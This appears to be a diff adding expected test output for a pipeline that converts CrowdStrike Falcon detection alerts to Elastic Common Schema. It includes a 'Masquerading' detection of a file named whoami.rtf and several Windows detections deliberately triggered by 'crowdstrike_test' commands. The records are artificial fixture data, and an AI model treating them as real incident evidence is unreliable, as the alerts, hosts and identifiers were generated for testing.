+                "original": "{\"event\":{\"AgentId\":\"4ebcabee560d4345b025d6c732656ba9\",\"AggregateId\":\"aggind:4ebcabee560d4345b025d6c732656ba9:1237323\",\"CommandLine\":\"./whoami.rtf\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048\",\"DataDomains\":\"Endpoint\",\"Description\":\"Anexecutablewasrunwithacontradictingfileextension\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"whoami.rtf\",\"FilePath\":\"/home/devuser/whoami.rtf\",\"GrandParentCommandLine\":\"sshd:devuser@pts/0\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"Hostname\":\"navnit-test-instance\",\"LocalIP\":\"10.128.0.24\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"42-01-0a-80-00-18\",\"MD5String\":\"3e4129c7bb0c01793aa9ecad38ccb4d0\",\"Name\":\"SuspiciousActivity\",\"Objective\":\"KeepAccess\",\"ParentCommandLine\":\"-bash\",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1753351172854337800,\"PatternDispositionDescription\":\"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":true,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":272,\"PatternId\":145,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1753352263,\"ProcessId\":1753352263802791400,\"ProcessStartTime\":1753352263,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"FalconInsight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Masquerading\",\"Type\":\"ldt\",\"UserName\":\"devuser\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1753352333000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2092190,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 47,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "3e4129c7bb0c01793aa9ecad38ccb4d0",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490"
+                },
+                "name": "whoami.rtf",
+                "path": "/home/devuser/whoami.rtf"
+            },
+            "host": {
+                "name": "navnit-test-instance"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "./whoami.rtf"
+                ],
+                "command_line": "./whoami.rtf",
+                "end": "2025-07-24T10:17:43.000Z",
+                "entity_id": "1753352263802791400",
+                "executable": "./whoami.rtf",
+                "name": "whoami.rtf",
+                "parent": {
+                    "args": [
+                        "-bash"
+                    ],
+                    "command_line": "-bash",
+                    "entity_id": "1753351172854337800",
+                    "executable": "-bash",
+                    "pid": 1753351172854337800
+                },
+                "pid": 1753352263802791400,
+                "start": "2025-07-24T10:17:43.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490",
+                    "3e4129c7bb0c01793aa9ecad38ccb4d0"
+                ],
+                "hosts": [
+                    "navnit-test-instance"
+                ],
+                "ip": [
+                    "10.128.0.24"
+                ],
+                "user": [
+                    "devuser"
+                ]
+            },
+            "rule": {
+                "name": "SuspiciousActivity"
+            },
+            "source": {
+                "ip": "10.128.0.24"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "DefenseEvasion"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Masquerading"
+                    ]
+                }
+            },
+            "user": {
+                "name": "devuser"
+            }
+        },
+        {
+            "@timestamp": "2025-07-15T10:30:48.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760",
+                    "DataDomains": "Endpoint",
+                    "Description": "An informational level detection was triggered on this process for testing purposes.",
+                    "GrandparentCommandLine": "cmd  crowdstrike_test_medium",
+                    "GrandparentImageFileName": "cmd.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "HostGroups": [
+                        "6b15afc3ea3a42ed810b5c163e490a9d"
+                    ],
+                    "MACAddress": "ba-d0-00-ba-d0-00",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "cmd.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10307",
+                    "PlatformId": "0",
+                    "PlatformName": "Windows",
+                    "SensorId": "cff45d56127743a593792fb968dac907",
+                    "Severity": 10,
+                    "SeverityName": "Informational",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 2021281,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-15T10:30:48.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_informational\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760\",\"DataDomains\":\"Endpoint\",\"Description\":\"An informational level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_medium\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"d53f596e5ea7117ac18aae9f9bd8a481\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_low\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43450917603,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10307,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43455859437,\"ProcessStartTime\":1752575381,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575448000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021281,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "d53f596e5ea7117ac18aae9f9bd8a481",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "name": "dave-win10-3"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "cmd",
+                    "crowdstrike_test_informational"
+                ],
+                "command_line": "cmd  crowdstrike_test_informational",
+                "entity_id": "43455859437",
+                "executable": "cmd",
+                "name": "cmd.exe",
+                "parent": {
+                    "args": [
+                        "cmd",
+                        "crowdstrike_test_low"
+                    ],
+                    "command_line": "cmd  crowdstrike_test_low",
+                    "entity_id": "43450917603",
+                    "executable": "cmd",
+                    "pid": 43450917603
+                },
+                "pid": 43455859437,
+                "start": "2025-07-15T10:29:41.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682",
+                    "d53f596e5ea7117ac18aae9f9bd8a481"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Falcon Overwatch"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious Activity"
+                    ]
+                }
+            },
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2025-07-15T10:30:34.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776",
+                    "DataDomains": "Endpoint",
+                    "Description": "A low level detection was triggered on this process for testing purposes.",
+                    "GrandparentCommandLine": "cmd  crowdstrike_test_high",
+                    "GrandparentImageFileName": "cmd.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "HostGroups": [
+                        "6b15afc3ea3a42ed810b5c163e490a9d"
+                    ],
+                    "MACAddress": "ba-d0-00-ba-d0-00",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "cmd.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10306",
+                    "PlatformId": "0",
+                    "PlatformName": "Windows",
+                    "SensorId": "cff45d56127743a593792fb968dac907",
+                    "Severity": 30,
+                    "SeverityName": "Low",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 2021280,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-15T10:30:34.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_low\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776\",\"DataDomains\":\"Endpoint\",\"Description\":\"A low level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_high\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"86920ea0b350c9a3e3752a6aba6e1143\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_medium\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43448891811,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10306,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43450917603,\"ProcessStartTime\":1752575368,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575434000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021280,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "86920ea0b350c9a3e3752a6aba6e1143",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "name": "dave-win10-3"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "cmd",
+                    "crowdstrike_test_low"
+                ],
+                "command_line": "cmd  crowdstrike_test_low",
+                "entity_id": "43450917603",
+                "executable": "cmd",
+                "name": "cmd.exe",
+                "parent": {
+                    "args": [
+                        "cmd",
+                        "crowdstrike_test_medium"
+                    ],
+                    "command_line": "cmd  crowdstrike_test_medium",
+                    "entity_id": "43448891811",
+                    "executable": "cmd",
+                    "pid": 43448891811
+                },
+                "pid": 43450917603,
+                "start": "2025-07-15T10:29:28.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
+                    "86920ea0b350c9a3e3752a6aba6e1143"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Falcon Overwatch"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious Activity"
+                    ]
+                }
+            },
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2025-07-15T10:30:21.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824",
+                    "DataDomains": "Endpoint",
+                    "Description": "A high level detection was triggered on this process for testing purposes.",
+                    "GrandparentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ",
+                    "GrandparentImageFileName": "cmd.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "HostGroups": [
+                        "6b15afc3ea3a42ed810b5c163e490a9d"
+                    ],
+                    "MACAddress": "ba-d0-00-ba-d0-00",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "cmd.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10304",
+                    "PlatformId": "0",
+                    "PlatformName": "Windows",
+                    "SensorId": "cff45d56127743a593792fb968dac907",
+                    "Severity": 70,
+                    "SeverityName": "High",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 2021278,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-15T10:30:21.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_high\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824\",\"DataDomains\":\"Endpoint\",\"Description\":\"A high level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"099d5a3c2f87817751337a9cf8d6a70b\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_critical\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43444774922,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10304,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43447659975,\"ProcessStartTime\":1752575345,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":70,\"SeverityName\":\"High\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575421000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021278,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "099d5a3c2f87817751337a9cf8d6a70b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "name": "dave-win10-3"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "cmd",
+                    "crowdstrike_test_high"
+                ],
+                "command_line": "cmd  crowdstrike_test_high",
+                "entity_id": "43447659975",
+                "executable": "cmd",
+                "name": "cmd.exe",
+                "parent": {
+                    "args": [
+                        "cmd",
+                        "crowdstrike_test_critical"
+                    ],
+                    "command_line": "cmd  crowdstrike_test_critical",
+                    "entity_id": "43444774922",
+                    "executable": "cmd",
+                    "pid": 43444774922
+                },
+                "pid": 43447659975,
+                "start": "2025-07-15T10:29:05.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
+                    "099d5a3c2f87817751337a9cf8d6a70b"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Falcon Overwatch"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious Activity"
+                    ]
+                }
+            },
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2025-07-15T10:30:10.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528",
+                    "DataDomains": "Endpoint",
+                    "Description": "A critical level detection was triggered on this process for testing purposes.",
+                    "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
